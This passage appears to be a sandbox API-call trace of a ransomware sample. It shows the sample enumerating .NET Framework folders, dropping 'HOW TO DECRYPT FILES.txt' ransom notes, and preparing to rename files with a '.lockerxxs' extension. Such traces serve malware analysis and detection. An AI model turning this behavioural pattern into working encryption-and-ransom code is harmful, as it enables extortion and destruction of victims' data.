lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\MSBuild\\", lpString2="Microsoft.Build.Core.xsd" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\MSBuild\\Microsoft.Build.Core.xsd") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\MSBuild\\Microsoft.Build.Core.xsd" [0136.969] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x811aee91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c2fb6a0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c2fb6a0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x6960, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Core.xsd", cAlternateFileName="MICROS~1.XSD")) returned 0 [0136.969] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0136.969] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59a34c2d, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x59a34c2d, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x7f14d93c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x15750, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="MSBuild.exe", cAlternateFileName="")) returned 1 [0136.969] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.969] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSBuild.exe") returned -1 [0136.969] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSBuild.exe") returned -1 [0136.969] lstrcmpiA (lpString1="", lpString2="MSBuild.exe") returned -1 [0136.970] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\*.*") returned="*.*" [0136.970] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" [0136.970] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="" [0136.970] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" [0136.970] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\how to decrypt files.txt")) returned 0x20 [0136.970] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="MSBuild.exe" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\MSBuild.exe") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\MSBuild.exe" [0136.970] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59a5ad8c, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x59a5ad8c, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x7f5ea3dc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x62d, dwReserved0=0x0, dwReserved1=0x0, cFileName="msbuild.exe.config", cAlternateFileName="")) returned 1 [0136.970] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.970] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msbuild.exe.config") returned -1 [0136.970] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msbuild.exe.config") returned -1 [0136.971] lstrcmpiA (lpString1="", lpString2="msbuild.exe.config") returned -1 [0136.971] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\MSBuild.exe") returned="MSBuild.exe" [0136.971] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" [0136.971] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="" [0136.971] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" [0136.971] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\how to decrypt files.txt")) returned 0x20 [0136.971] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="msbuild.exe.config" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\msbuild.exe.config") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\msbuild.exe.config" [0136.971] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59a5ad8c, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x59a5ad8c, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x7f95637c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x2dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild.rsp", cAlternateFileName="")) returned 1 [0136.971] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.972] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSBuild.rsp") returned -1 [0136.972] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSBuild.rsp") returned -1 [0136.972] lstrcmpiA (lpString1="", lpString2="MSBuild.rsp") returned -1 [0136.972] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\msbuild.exe.config") returned="msbuild.exe.config" [0136.972] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" [0136.972] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="" [0136.972] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" [0136.972] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\how to decrypt files.txt")) returned 0x20 [0136.972] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="MSBuild.rsp" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\MSBuild.rsp") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\MSBuild.rsp" [0136.972] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x291775b2, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x291775b2, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x8e6a149c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sentinel.v3.5Client.dll", cAlternateFileName="")) returned 1 [0136.972] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.972] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Sentinel.v3.5Client.dll") returned -1 [0136.972] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Sentinel.v3.5Client.dll") returned -1 [0136.972] lstrcmpiA (lpString1="", lpString2="Sentinel.v3.5Client.dll") returned -1 [0136.972] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\MSBuild.rsp") returned="MSBuild.rsp" [0136.972] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" [0136.972] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="" [0136.972] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" [0136.972] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\how to decrypt files.txt")) returned 0x20 [0136.972] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="Sentinel.v3.5Client.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Sentinel.v3.5Client.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Sentinel.v3.5Client.dll" [0136.973] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SQL", cAlternateFileName="")) returned 1 [0136.973] lstrcmpA (lpString1=".", lpString2="SQL") returned -1 [0136.973] lstrcmpA (lpString1="..", lpString2="SQL") returned -1 [0136.973] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Sentinel.v3.5Client.dll") returned="Sentinel.v3.5Client.dll" [0136.973] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="SQL" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL" [0136.973] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501568, cFileName=".", cAlternateFileName="")) returned 0x502518 [0136.973] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0136.973] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0136.973] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0136.973] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0136.973] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x811aee91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x811aee91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="EN", cAlternateFileName="")) returned 1 [0136.973] lstrcmpA (lpString1=".", lpString2="EN") returned -1 [0136.973] lstrcmpA (lpString1="..", lpString2="EN") returned -1 [0136.973] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\*.*") returned="*.*" [0136.974] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\", lpString2="EN" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN" [0136.974] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x811aee91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x811aee91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0136.974] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0136.974] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x811aee91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x811aee91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.974] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0136.974] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0136.974] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3159373a, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x3159373a, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x616dd85c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x960, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="DropSqlPersistenceProviderLogic.sql", cAlternateFileName="")) returned 1 [0136.974] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0136.974] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DropSqlPersistenceProviderLogic.sql") returned 1 [0136.974] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DropSqlPersistenceProviderLogic.sql") returned 1 [0136.974] lstrcmpiA (lpString1="", lpString2="DropSqlPersistenceProviderLogic.sql") returned -1 [0136.974] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\*.*") returned="*.*" [0136.974] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\" [0136.974] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\") returned="" [0136.974] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\HOW TO DECRYPT FILES.txt" [0136.974] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\sql\\en\\how to decrypt files.txt")) returned 0xffffffff [0136.974] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\sql\\en\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0136.978] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0136.978] CloseHandle (hObject=0x94) returned 1 [0136.978] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\", lpString2="DropSqlPersistenceProviderLogic.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\DropSqlPersistenceProviderLogic.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\DropSqlPersistenceProviderLogic.sql" [0136.978] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\DropSqlPersistenceProviderLogic.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\DropSqlPersistenceProviderLogic.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\DropSqlPersistenceProviderLogic.sql" [0136.978] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\DropSqlPersistenceProviderLogic.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\DropSqlPersistenceProviderLogic.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\DropSqlPersistenceProviderLogic.sql" [0136.978] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\DropSqlPersistenceProviderLogic.sql", lpString2="." | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\DropSqlPersistenceProviderLogic.sql.") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\DropSqlPersistenceProviderLogic.sql." [0136.978] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\DropSqlPersistenceProviderLogic.sql.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\DropSqlPersistenceProviderLogic.sql.lockerxxs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\DropSqlPersistenceProviderLogic.sql.lockerxxs" [0136.978] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\DropSqlPersistenceProviderLogic.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\sql\\en\\dropsqlpersistenceproviderlogic.sql"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0136.980] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x315b9899, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x315b9899, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x617039bc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x528, dwReserved0=0x0, dwReserved1=0x0, cFileName="DropSqlPersistenceProviderSchema.sql", cAlternateFileName="")) returned 1 [0136.980] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0136.980] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DropSqlPersistenceProviderSchema.sql") returned 1 [0136.980] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DropSqlPersistenceProviderSchema.sql") returned 1 [0136.980] lstrcmpiA (lpString1="", lpString2="DropSqlPersistenceProviderSchema.sql") returned -1 [0136.980] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\DropSqlPersistenceProviderLogic.sql") returned="DropSqlPersistenceProviderLogic.sql" [0136.980] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\" [0136.980] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\") returned="" [0136.980] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\HOW TO DECRYPT FILES.txt" [0136.980] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\sql\\en\\how to decrypt files.txt")) returned 0x20 [0136.981] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\", lpString2="DropSqlPersistenceProviderSchema.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\DropSqlPersistenceProviderSchema.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\DropSqlPersistenceProviderSchema.sql" [0136.981] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\DropSqlPersistenceProviderSchema.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\DropSqlPersistenceProviderSchema.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\DropSqlPersistenceProviderSchema.sql" [0136.981] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\DropSqlPersistenceProviderSchema.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\DropSqlPersistenceProviderSchema.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\DropSqlPersistenceProviderSchema.sql" [0136.981] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\DropSqlPersistenceProviderSchema.sql", lpString2="." | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\DropSqlPersistenceProviderSchema.sql.") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\DropSqlPersistenceProviderSchema.sql." [0136.981] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\DropSqlPersistenceProviderSchema.sql.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\DropSqlPersistenceProviderSchema.sql.lockerxxs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\DropSqlPersistenceProviderSchema.sql.lockerxxs" [0136.981] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\DropSqlPersistenceProviderSchema.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\sql\\en\\dropsqlpersistenceproviderschema.sql"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0136.982] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31651e15, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x31651e15, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x61c389dc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x34b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SqlPersistenceProviderLogic.sql", cAlternateFileName="")) returned 1 [0136.982] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0136.982] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SqlPersistenceProviderLogic.sql") returned -1 [0136.982] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", 